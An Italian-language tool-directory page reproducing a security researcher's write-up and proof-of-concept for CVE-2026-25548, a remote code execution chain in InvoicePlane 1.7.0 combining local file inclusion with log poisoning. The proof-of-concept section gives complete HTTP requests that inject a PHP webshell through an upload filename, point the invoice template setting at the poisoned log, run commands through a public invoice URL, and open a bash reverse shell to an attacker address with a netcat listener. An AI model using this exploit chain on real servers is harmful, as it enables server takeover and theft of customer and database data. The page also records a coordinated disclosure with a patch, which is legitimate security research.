Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25548 — Write-up tecnico dettagliato e proof-of-concept per CVE-2026-25548, una RCE critica in InvoicePlane 1.7.0 tramite LFI e log poisoning, inclusa la catena di attacco, le richieste PoC e l'analisi dell'impatto. | Kitploit
Strumenti/GitHubGitHub/lagathos/cve-2026-25548
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

Write-up tecnico dettagliato e proof-of-concept per CVE-2026-25548, una RCE critica in InvoicePlane 1.7.0 tramite LFI e log poisoning, inclusa la catena di attacco, le richieste PoC e l'analisi dell'impatto.

Vedi Repository
15 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25548 — Esecuzione di Codice Remota in InvoicePlane 1.7.0

Vulnerabilità: Esecuzione di Codice Remota tramite Local File Inclusion + Log Poisoning

Prodotto: InvoicePlane

Versione interessata: 1.7.0 (e probabilmente versioni precedenti)

Gravità: Critica

Punteggio CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Scoperta da: Leonidas Agathos

Data del report: 2026-01-31


Indice

  • Descrizione
  • Dettagli della Vulnerabilità
    • 1. Local File Inclusion (LFI)
    • 2. Log Poisoning tramite Nome File di Upload
  • Catena di Attacco
  • Prova di Concetto
    • Passo 1 — Log Poisoning
    • Passo 2 — Configurare l'LFI
    • Passo 3 — Attivare l'RCE
    • Passo 4 — Reverse Shell
  • Impatto
  • Componenti Interessati
  • Cronologia

  • Descrizione

    Una catena di vulnerabilità critica in InvoicePlane 1.7.0 consente a un amministratore autenticato di ottenere Esecuzione di Codice Remota (RCE) sul server sottostante. L'attacco combina due debolezze:

    1. Local File Inclusion (LFI) — L'impostazione del modello di fattura pubblica accetta percorsi di file arbitrari senza alcuna validazione, consentendo l'inclusione di file al di fuori della directory dei modelli prevista.
    2. Log Poisoning — I nomi di file di upload contenenti caratteri di path traversal vengono scritti letteralmente nei file di log .php di CodeIgniter, consentendo l'iniezione di codice PHP arbitrario.

    Se combinate, un attaccante con accesso amministrativo può ottenere il pieno compromesso del server come utente del web server. L'attivazione finale dell'RCE è non autenticata (URL di fattura pubblica).


    Dettagli della Vulnerabilità

    1. Local File Inclusion (LFI)

    AttributoValore
    Fileapplication/modules/guest/controllers/View.php
    Righe85, 191
    Parametropublic_invoice_template (impostazione del database)
    CWECWE-98: Controllo Improprio del Nome File per Istruzioni Include/Require

    Codice vulnerabile (View.php:85):

    root@kitploit:~
    $this->load->view('invoice_templates/public/' .
        get_setting('public_invoice_template') . '.php', $data);
    

    Codice vulnerabile (View.php:191):

    root@kitploit:~
    $this->load->view('quote_templates/public/' .
        get_setting('public_quote_template') . '.php', $data);
    

    Le impostazioni public_invoice_template e public_quote_template vengono recuperate dal database e concatenate direttamente in un percorso di file passato a load->view() di CodeIgniter (che si risolve in include() di PHP). Non c'è alcuna validazione per:

    • Prevenire sequenze di directory traversal (../)
    • Consentire solo nomi di modelli da una whitelist
    • Confermare che il file esista nella directory dei modelli prevista

    Un amministratore può impostare questo valore su qualsiasi percorso del filesystem, limitato solo dall'estensione .php che viene aggiunta automaticamente.


    2. Log Poisoning tramite Nome File di Upload

    AttributoValore
    Fileapplication/modules/upload/controllers/Upload.php
    Righe178–184
    ParametroNome file di upload (dati del form multipart HTTP)
    CWECWE-117: Neutralizzazione Impropria dell'Output per i Log

    Codice vulnerabile (Upload.php:178-184):

    root@kitploit:~
    private function sanitize_file_name(string $filename): string
    {
        if (str_contains($filename, '..')
            || str_contains($filename, '/')
            || str_contains($filename, '\\')
            || str_contains($filename, "\0")) {
            log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
            return '';
        }
        // ...
    }
    

    Quando un nome file attiva il controllo di path traversal, il nome file grezzo e non sanificato viene scritto direttamente nel file di log. I file di log di CodeIgniter:

    • Usano l'estensione .php: application/logs/log-YYYY-MM-DD.php
    • Iniziano con <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
    • Sono quindi file PHP validi che vengono eseguiti quando inclusi

    Un attaccante che incorpora <?php system($_GET[1]); ?> nel nome file fa sì che il payload venga scritto nel log e successivamente eseguito tramite l'LFI.


    Catena di Attacco

    root@kitploit:~
    [Utente autenticato]  →  Upload di nome file malevolo  →  PHP iniettato nel file di log
    [Admin]               →  Imposta l'impostazione del modello  →  LFI punta al file di log
    [Chiunque]            →  Visita l'URL di fattura pubblica    →  RCE
    
    PassoRequisito
    Log PoisoningUtente autenticato con accesso all'upload
    Configurazione LFIAccount amministratore
    Attivazione RCENon autenticata (URL di fattura pubblica)

    Prova di Concetto

    Passo 1 — Log Poisoning

    Invia una richiesta di upload di file con una webshell PHP incorporata nel nome file. Il controllo di path traversal si attiverà e scriverà il nome file grezzo (incluso il payload PHP) nel file di log.

    Richiesta (tramite Burp Suite):

    root@kitploit:~
    POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=...
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="_ip_csrf"
    
    <csrf_token>
    ------Boundary
    Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
    Content-Type: image/jpeg
    
    test
    ------Boundary--
    

    Il server rifiuta l'upload (upload_error_invalid_extension) ma la voce di log è già stata scritta:

    Risultato in application/logs/log-2026-01-31.php:

    root@kitploit:~
    ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
    

    Naviga alla sezione Allegati di una fattura e clicca su Aggiungi file per raggiungere l'endpoint di upload.

    Passo 1a - Punto di ingresso upload allegati fattura

    Passo 1b - Iniezione del payload PHP tramite nome file malevolo

    Passo 1c - File di log che mostra il payload PHP iniettato


    Passo 2 — Configurare l'LFI

    Come amministratore, imposta l'impostazione public_invoice_template per puntare al file di log di oggi utilizzando un payload di path traversal. Il loader di viste di CodeIgniter aggiunge .php automaticamente.

    Richiesta (tramite Burp Suite):

    root@kitploit:~
    POST /index.php/settings HTTP/1.1
    Host: 172.25.0.12
    Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="settings[public_invoice_template]"
    
    ../../../logs/log-2026-01-31
    ------Boundary--
    

    Il percorso di traversal si risolve da application/views/invoice_templates/public/ fino a application/logs/, quindi include log-2026-01-31.php.

    Passo 2 - Impostazione di public_invoice_template sul percorso del file di log tramite Burp Suite


    Passo 3 — Attivare l'RCE

    Accedi a qualsiasi URL di fattura pubblica con un comando passato come parametro GET 1. Non è richiesta alcuna autenticazione.

    Richiesta:

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
    Host: 172.25.0.12
    

    Risposta (nel sorgente della pagina):

    root@kitploit:~
    Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
    .jpg
    

    Il payload system($_GET[1]) esegue il comando id e il suo output viene riflesso inline nella pagina.

    Passo 3 - Output del comando riflesso nella risposta HTTP tramite URL di fattura pubblica


    Passo 4 — Reverse Shell

    Sostituisci il comando con un payload di reverse shell bash per ottenere una shell interattiva:

    root@kitploit:~
    GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
    

    Sulla macchina dell'attaccante:

    root@kitploit:~
    nc -lnvp 4444
    

    Risultato:

    root@kitploit:~
    connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
    www-data@0dd592f7a424:~/projects/invoiceplane$
    

    Shell interattiva completa come www-data.

    Passo 4 - Reverse shell stabilita che conferma la piena RCE


    Impatto

    DimensioneValutazioneDettaglio
    RiservatezzaALTAAccesso completo in lettura a tutti i file accessibili dall'utente del web server, incluse le credenziali del database e i dati delle fatture dei clienti
    IntegritàALTAScrittura arbitraria di file, modifica del database, installazione di webshell
    DisponibilitàALTADenial of service, distribuzione di ransomware, distruzione del sistema

    Componenti Interessati

    FileVulnerabilità
    application/modules/guest/controllers/View.php:85LFI — Modello di fattura
    application/modules/guest/controllers/View.php:191LFI — Modello di preventivo
    application/modules/upload/controllers/Upload.php:182Log Poisoning
    application/modules/settings/controllers/Settings.phpNessuna validazione sull'impostazione del modello

    Cronologia

    DataEvento
    2026-01-30Vulnerabilità scoperta
    2026-01-31Prova di concetto sviluppata
    2026-01-31Vendor notificato
    2026-02-03Riconoscimento del vendor
    2026-02-03Patch rilasciata
    2026-02-04Divulgazione pubblica

    Riferimenti

    • CWE-98: Controllo Improprio del Nome File per Istruzioni Include/Require
    • CWE-117: Neutralizzazione Impropria dell'Output per i Log
    • CWE-94: Controllo Improprio della Generazione di Codice
    • OWASP: Path Traversal
    • OWASP: Log Injection
    • CVE-2026-25548

    Disclaimer

    Questa vulnerabilità è stata scoperta durante una ricerca di sicurezza indipendente. Tutte le informazioni sono fornite strettamente per scopi educativi, di ricerca e difensivi per assistere il vendor e la comunità della sicurezza nella comprensione e nella risoluzione del problema. Qualsiasi uso malevolo di queste informazioni è severamente proibito.

    Scarica lo strumento